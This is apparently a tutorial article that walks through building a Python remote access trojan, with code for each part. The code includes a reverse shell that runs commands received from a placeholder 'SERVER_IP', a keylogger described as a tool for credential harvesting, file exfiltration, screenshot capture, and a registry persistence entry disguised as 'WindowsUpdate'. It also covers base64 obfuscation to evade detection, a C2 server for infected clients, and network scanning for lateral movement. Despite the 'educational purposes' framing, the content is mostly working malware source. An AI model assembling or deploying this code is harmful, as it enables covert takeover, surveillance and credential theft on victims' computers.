Building Python Based Rat
In this article, we’ll explore how to build a Python-based Remote Access Tool (RAT) for educational purposes. We’ll cover key components and functionalities, providing code examples and use cases along the way.
1. Basic Client-Server Architecture
The foundation of a RAT is a client-server architecture. Let’s start with a simple example:
import socket
def start_server(host, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(1)
print(f"[*] Listening on {host}:{port}")
client, addr = server.accept()
print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
while True:
command = input("Enter command: ")
client.send(command.encode())
if command.lower() == "exit":
break
response = client.recv(1024).decode()
print(response)
client.close()
server.close()
if __name__ == "__main__":
start_server("0.0.0.0", 4444)
import socket
import subprocess
def connect_to_server(host, port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
command = client.recv(1024).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
client.send(output.encode())
client.close()
if __name__ == "__main__":
connect_to_server("SERVER_IP", 4444)
This basic setup allows the server to send commands to the client, which executes them and sends back the output.
2. File Transfer Functionality
Let’s add the ability to transfer files between the server and client:
# Add to server.py
def send_file(client, filename):
with open(filename, "rb") as f:
data = f.read(1024)
while data:
client.send(data)
data = f.read(1024)
print(f"[*] File {filename} sent successfully")
def receive_file(client, filename):
with open(filename, "wb") as f:
while True:
data = client.recv(1024)
if not data:
break
f.write(data)
print(f"[*] File {filename} received successfully")
# Add to client.py
def send_file(client, filename):
with open(filename, "rb") as f:
data = f.read(1024)
while data:
client.send(data)
data = f.read(1024)
def receive_file(client, filename):
with open(filename, "wb") as f:
while True:
data = client.recv(1024)
if not data:
break
f.write(data)
Use case: Transferring configuration files or exfiltrating sensitive data.
3. Keylogging Capability
Adding a keylogging feature can be done using the pynput
library:
from pynput import keyboard
def on_press(key):
try:
with open("keylog.txt", "a") as f:
f.write(f"{key.char}")
except AttributeError:
with open("keylog.txt", "a") as f:
f.write(f"[{str(key)}]")
def start_keylogger():
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Use case: Capturing user input for credential harvesting.
4. Screenshot Capture
To capture screenshots, we can use the pyautogui
library:
import pyautogui
def capture_screenshot():
screenshot = pyautogui.screenshot()
screenshot.save("screenshot.png")
Use case: Monitoring user activity or gathering visual intelligence.
5. Persistence Mechanism
To ensure the RAT starts on system boot, we can add a persistence mechanism:
import os
import sys
import winreg as reg
def add_to_startup():
file_path = os.path.realpath(sys.argv[0])
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
try:
key = reg.HKEY_CURRENT_USER
key_value = "WindowsUpdate"
open_key = reg.OpenKey(key, key_path, 0, reg.KEY_ALL_ACCESS)
reg.SetValueEx(open_key, key_value, 0, reg.REG_SZ, file_path)
reg.CloseKey(open_key)
except WindowsError:
pass
Use case: Maintaining access to the infected system across reboots.
6. Anti-Detection Techniques
To avoid detection, we can implement some basic obfuscation:
import base64
def obfuscate(text):
return base64.b64encode(text.encode()).decode()
def deobfuscate(text):
return base64.b64decode(text.encode()).decode()
# Use obfuscated strings in your code
command = deobfuscate("ZXhlY3V0ZV9jb21tYW5k") # "execute_command"
Use case: Evading simple string-based detection methods.
7. Command and Control (C2) Infrastructure
For a more advanced setup, we can implement a basic C2 infrastructure:
graph TD A[Attacker] -->|Commands| B(C2 Server) B -->|Commands| C{Infected Clients} C -->|Data| B B -->|Data| A
from flask import Flask, request, jsonify
app = Flask(__name__)
clients = {}
@app.route('/register', methods=['POST'])
def register_client():
data = request.json
client_id = data['client_id']
clients[client_id] = {'commands': [], 'data': []}
return jsonify({"status": "registered"})
@app.route('/command', methods=['POST'])
def receive_command():
data = request.json
client_id = data['client_id']
command = data['command']
clients[client_id]['commands'].append(command)
return jsonify({"status": "command received"})
@app.route('/fetch', methods=['GET'])
def fetch_commands():
client_id = request.args.get('client_id')
commands = clients[client_id]['commands']
clients[client_id]['commands'] = []
return jsonify({"commands": commands})
@app.route('/data', methods=['POST'])
def receive_data():
data = request.json
client_id = data['client_id']
client_data = data['data']
clients[client_id]['data'].append(client_data)
return jsonify({"status": "data received"})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Use case: Centralizing command distribution and data collection for multiple infected clients.
8. Encryption
To secure communications between the client and server, we can implement encryption:
from cryptography.fernet import Fernet
def generate_key():
return Fernet.generate_key()
def encrypt_message(key, message):
f = Fernet(key)
return f.encrypt(message.encode())
def decrypt_message(key, encrypted_message):
f = Fernet(key)
return f.decrypt(encrypted_message).decode()
# Usage
key = generate_key()
encrypted = encrypt_message(key, "sensitive data")
decrypted = decrypt_message(key, encrypted)
Use case: Protecting command and data transmissions from interception.
9. System Information Gathering
Collecting system information can be useful for reconnaissance:
import platform
import psutil
def get_system_info():
info = {
"OS": platform.system(),
"OS Version": platform.version(),
"CPU": platform.processor(),
"RAM": f"{psutil.virtual_memory().total / (1024**3):.2f} GB",
"Disk": f"{psutil.disk_usage('/').total / (1024**3):.2f} GB"
}
return info
Use case: Profiling the infected system for targeted exploits or data extraction.
10. Network Scanning
Adding network scanning capabilities can help in lateral movement:
import nmap
def scan_network(target):
nm = nmap.PortScanner()
nm.scan(target, arguments='-p 1-1024 -sV')
results = []
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
for port in nm[host][proto]:
service = nm[host][proto][port]
results.append({
'host': host,
'port': port,
'state': service['state'],
'service': service['name']
})
return results
Use case: Identifying potential targets for further exploitation within the network.
Conclusion
Building a Python-based RAT involves various components and techniques. This article covered basic client-server communication, file transfer, keylogging, screenshot capture, persistence, anti-detection, C2 infrastructure, encryption, system information gathering, and network scanning. These concepts demonstrate the potential capabilities of RATs and highlight the importance of robust cybersecurity measures.